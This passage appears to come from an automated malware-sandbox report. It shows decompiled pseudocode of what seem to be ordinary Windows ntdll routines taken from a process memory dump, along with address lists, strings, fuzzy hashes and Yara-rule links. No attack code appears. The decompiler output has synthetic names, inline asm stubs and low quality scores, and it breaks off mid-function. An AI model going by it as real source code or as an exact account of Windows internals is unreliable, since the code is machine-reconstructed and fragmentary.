						_push(0xffffffff);
						E046797C0();
					}
					return E0467B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E046B3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E046B3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E0467FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E04679650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E046B3787(_a4,  &_v352, _t80);
						}
					}
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E046795D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x046b3552
0x046b355a
0x046b355d
0x046b3566
0x046b3567
0x046b357e
0x046b358f
0x046b35a1
0x046b35a5
0x046b366b
0x046b366b
0x046b366d
0x046b3672
0x046b3679
0x046b3685
0x046b368d
0x046b369d
0x046b36a7
0x046b36b8
0x046b36c6
0x046b36c7
0x046b36dc
0x046b36e1
0x046b36e7
0x046b36e9
0x046b36e9
0x046b3703
0x046b3703
0x046b35b5
0x046b35c0
0x046b35c4
0x00000000
0x00000000
0x046b35ca
0x046b35d7
0x046b35e2
0x046b35e6
0x046b35e8
0x046b35f5
0x046b35fa
0x046b3603
0x046b3604
0x046b3609
0x046b360a
0x046b3612
0x046b3613
0x046b361e
0x046b3622
0x046b3628
0x046b362f
0x046b362f
0x046b3636
0x046b3638
0x046b363b
0x046b3642
0x046b3642
0x046b3636
0x046b3657
0x046b3657
0x046b365c
0x046b3662
0x046b3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 046B358F

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryHash
API String ID: 2994545307-2202222882
Opcode ID: 999ad4a3ff3c976a24f0183d7dbe50c9b1e089599115be1a81f216b14420777a
Instruction ID: 9a358eaa43c3d26d2595e51a07622875e878c4e3d044bbee463beba984ce8cd2
Opcode Fuzzy Hash: 999ad4a3ff3c976a24f0183d7dbe50c9b1e089599115be1a81f216b14420777a
Instruction Fuzzy Hash: 444107B1A0152C9AEB21DA54CC84FDEB77C9B44718F0045A9EA49A7240FB316EC88FD9

Uniqueness

Uniqueness Score: -1.00%

Function 047005AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E047005AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E047007DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E04679730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E046FA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E046FA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E04701293(_t79, _v40, E047007DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E04657D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E046F138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x047005c5
0x047005ca
0x047005d3
0x047006db
0x047006db
0x047006dd
0x047006e3
0x047006e3
0x047005dd
0x047005e7
0x047005f6
0x04700600
0x04700607
0x04700610
0x04700615
0x0470061a
0x0470061c
0x0470061e
0x04700624
0x04700625
0x04700627
0x04700628
0x04700631
0x04700640
0x0470064d
0x04700654
0x04700654
0x04700631
0x0470066d
0x04700674
0x00000000
0x00000000
0x04700692
0x0470069e
0x047006b0
0x047006a0
0x047006a9
0x047006a9
0x047006b8
0x047006d6
0x047006d6
0x00000000

Strings

`, xrefs: 04700633

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: fcc830d10e89ab0d01c52767b2a94704c94c826659ff59c90f9ce33452bf48f4
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: 3731E232604385ABE720DE24DD44F9777DAEB84768F048229FA59AB3C0E770F914C791

Uniqueness

Uniqueness Score: -1.00%

Function 046B3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E046B3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E04679650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L04654620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E04679650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x046b3893
0x046b3896
0x046b3899
0x046b389f
0x046b38a0
0x046b38a4
0x046b38a9
0x046b38ac
0x046b38ad
0x046b38ae
0x046b38af
0x046b38b1
0x046b38b4
0x046b38bb
0x046b38bc
0x046b38bd
0x046b38c4
0x046b38c8
0x046b38ca
0x046b38ca
0x046b38d5
0x046b393e
0x046b3940
0x046b3942
0x046b3952
0x046b3954
0x046b3961
0x046b3961
0x046b3967
0x046b396e
0x046b396e
0x046b3947
0x046b394c
0x00000000
0x046b394c
0x046b38ea
0x046b38ee
0x046b38f8
0x046b38f9
0x046b38ff
0x046b3900
0x046b3902
0x046b3903
0x046b390b
0x046b390f
0x046b3950
0x00000000
0x046b3950
0x046b3915
0x046b391d
0x046b391d
0x046b3922
0x046b3926
0x00000000
0x046b3928
0x046b392b
0x046b392b
0x046b3935
0x046b3937
0x046b3937
0x00000000
0x046b3935
0x046b3926
0x046b38f0
0x00000000

Strings

BinaryName, xrefs: 046B38B4

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryName
API String ID: 2994545307-215506332
Opcode ID: 5268195545da332a62bde4554aea39fbd783cdaf1a69a27a82bc4284fb5050ad
Instruction ID: 3f7dd69a5be5c377468d4c11cce2bbf4ddcc5a6fe2efae0ec692648a0b4bc792
Opcode Fuzzy Hash: 5268195545da332a62bde4554aea39fbd783cdaf1a69a27a82bc4284fb5050ad
Instruction Fuzzy Hash: 6731F472A00619BFEB25EE58C945EABB774EB40B20F014169ED95A7750F630BEC4C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0466D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0466D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x472d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E04654120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E0467B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E046798D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E046795D0();
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x0466d29c
0x0466d2a6
0x0466d2b1
0x0466d2b5
0x0466d2b6
0x0466d2bc
0x0466d2bd
0x0466d2be
0x0466d2bf
0x0466d2c2
0x0466d2c4
0x0466d2cc
0x0466d384
0x0466d34b
0x0466d34f
0x0466d350
0x0466d351
0x0466d35c
0x0466d35c
0x0466d2d6
0x0466d2da
0x0466d2e1
0x0466d361
0x0466d369
0x0466d36d
0x0466d2e3
0x0466d2e3
0x0466d2e3
0x0466d2e5
0x0466d2ed
0x0466d2f5
0x0466d2fa
0x0466d302
0x0466d303
0x0466d30b
0x0466d30f
0x0466d313
0x0466d318
0x0466d31c
0x0466d320
0x0466d379
0x0466d37d
0x00000000
0x00000000
0x046aaffe
0x046ab001
0x046ab011
0x00000000
0x0466d322
0x0466d322
0x0466d330
0x0466d337
0x0466d35d
0x0466d339
0x0466d33f
0x0466d38c
0x0466d38c
0x0466d33f
0x0466d349
0x00000000
0x0466d349

Strings

@, xrefs: 0466D303

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 59ea8f3a40d05efed0e6c428219915a6f8e4e3c96b427f7debf15a84287c86c3
Instruction ID: 82819349a1f00c91e475b295c25597b0093d3a2e87a3d1192e83c6811dbd5459
Opcode Fuzzy Hash: 59ea8f3a40d05efed0e6c428219915a6f8e4e3c96b427f7debf15a84287c86c3
Instruction Fuzzy Hash: 483184B1608305AFD321DF2CC98096BBBE8EB86754F00092EF99593210F639ED05DB92

Uniqueness

Uniqueness Score: -1.00%

Function 04641B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E04641B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E0467BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E0467A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E0467A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L046577F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L04654620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x04641b8f
0x04641b9a
0x04641b9c
0x04641b9e
0x04641ba3
0x04697010
0x04697010
0x00000000
0x04641ba9
0x04641ba9
0x04641bae
0x00000000
0x04641bc5
0x04641bca
0x04641bcf
0x04641bd0
0x04641bd1
0x04641bd2
0x04641bd6
0x04641bdc
0x04641be0
0x04696ffc
0x04697000
0x00000000
0x04697006
0x04697009
0x04697009
0x04641be6
0x04641bec
0x04641c0b
0x04641c0b
0x04641c0c
0x04641c11
0x04641c12
0x04641c15
0x04641c1b
0x04641c1f
0x04641c31
0x04641c33
0x04697026
0x04697026
0x04641c21
0x04641c24
0x04641c24
0x04641bee
0x04641bee
0x04641bf2
0x04641c3a
0x04641bf4
0x04641bf4
0x04641c05
0x04641c05
0x04641c09
0x04641c3e
0x00000000
0x00000000
0x00000000
0x04641c09
0x04641bec
0x04641be0
0x04641bae
0x04641c2e

Strings

WindowsExcludedProcs, xrefs: 04641BC5

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: f6d1334b9c6cf00a092ab8a4f06ce873b064d6222e312cdd10bcfd3de8ccf829
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: AB21D3B6A00228FBDF219E95CC44FDBB7ADAB92B55F054425ED048B300FA34FD5197A0

Uniqueness

Uniqueness Score: -1.00%

Function 0465F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0465F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x0465f71d
0x0465f722
0x0465f726
0x046a4770
0x0465f765
0x0465f769
0x0465f769
0x0465f732
0x046a477a
0x00000000
0x046a477a
0x0465f738
0x0465f73a
0x0465f73c
0x0465f73f
0x0465f746
0x0465f778
0x0465f7a9
0x0465f7a9
0x0465f754
0x0465f75a
0x0465f75d
0x0465f75f
0x0465f761
0x0465f76f
0x0465f771
0x0465f771
0x0465f76f
0x0465f763
0x00000000
0x0465f763
0x0465f77d
0x0465f7a3
0x0465f7a5
0x00000000
0x0465f7a5
0x0465f77f
0x0465f782
0x0465f784
0x0465f786
0x00000000
0x00000000
0x00000000
0x0465f788
0x0465f748
0x0465f74d
0x0465f78d
0x0465f793
0x0465f7b7
0x0465f7bc
0x00000000
0x0465f7bc
0x0465f798
0x00000000
0x00000000
0x0465f79d
0x0465f7b0
0x00000000
0x0465f7b0
0x0465f79f
0x00000000
0x0465f74f
0x0465f74f
0x00000000
0x0465f74f

Strings

Actx , xrefs: 0465F73F

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: c15ef2c4a73091138ee66b6ead40078c166f4efa75f755d159281d74553c94e1
Instruction ID: b1a8d7492ad0e9fb6b9dac8514c7612deeb750debbcc2f1b428dd8092b0b29e3
Opcode Fuzzy Hash: c15ef2c4a73091138ee66b6ead40078c166f4efa75f755d159281d74553c94e1
Instruction Fuzzy Hash: C211B2353486028BEB2C4E1DE89073672D6EBA5724F24452AEC62CB3B1FB70F8428740

Uniqueness

Uniqueness Score: -1.00%

Function 046E8DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E046E8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x4710d50);
				E0468D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E046C5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L0468DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L0468DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E0468D130(_t34, _t39, _t40);
			}

0x046e8df1
0x046e8df1
0x046e8df1
0x046e8df1
0x046e8df1
0x046e8df1
0x046e8df3
0x046e8df8
0x046e8dfd
0x046e8e00
0x046e8e0e
0x046e8e2a
0x046e8e36
0x046e8e38
0x046e8e3c
0x046e8e46
0x046e8e46
0x046e8e36
0x046e8e50
0x046e8e56
0x046e8e59
0x046e8e5c
0x046e8e60
0x046e8e67
0x046e8e6d
0x046e8e73
0x046e8e74
0x046e8eb1
0x046e8ebd

Strings

Critical error detected %lx, xrefs: 046E8E21

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 7c4d790522b03102b9b6c9815b30e978f58ecf6cf38dd0cdbed33785315b638c
Instruction ID: 88a4684c6ee8d4769c90732488fe319451e1607a35a847d273fcb7a8176a67c0
Opcode Fuzzy Hash: 7c4d790522b03102b9b6c9815b30e978f58ecf6cf38dd0cdbed33785315b638c
Instruction Fuzzy Hash: 08117971D01348EBEB25EFA9C909BECBBB0AB04314F20425DD0696B381E3742602CF28

Uniqueness

Uniqueness Score: -1.00%

Function 046CFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 046CFF60

Memory Dump Source

Source File: 0000000E.00000002.595187979.0000000004610000.00000040.00000001.sdmp, Offset: 04610000, based on PE: true

Associated: 0000000E.00000002.595560275.000000000472B000.00000040.00000001.sdmp Download File
Associated: 0000000E.00000002.595578353.000000000472F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 462603ae4504931f722793f30c364ce731383f46f0b2d381b78a586bfc9367db
Instruction ID: e2a41f9f0d0d981b04342d7cb56719ad781c499ad2d3ce10376ed0eb83cdf53b
Opcode Fuzzy Hash: 462603ae4504931f722793f30c364ce731383f46f0b2d381b78a586bfc9367db
Instruction Fuzzy Hash: 3311E171550144EFEB2AEF50CA48FA87BB2FF08718F14845CE104672A1E739B980DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04705BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E04705BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x4711178);
				E0468D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E04704C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E0467D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E04705542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
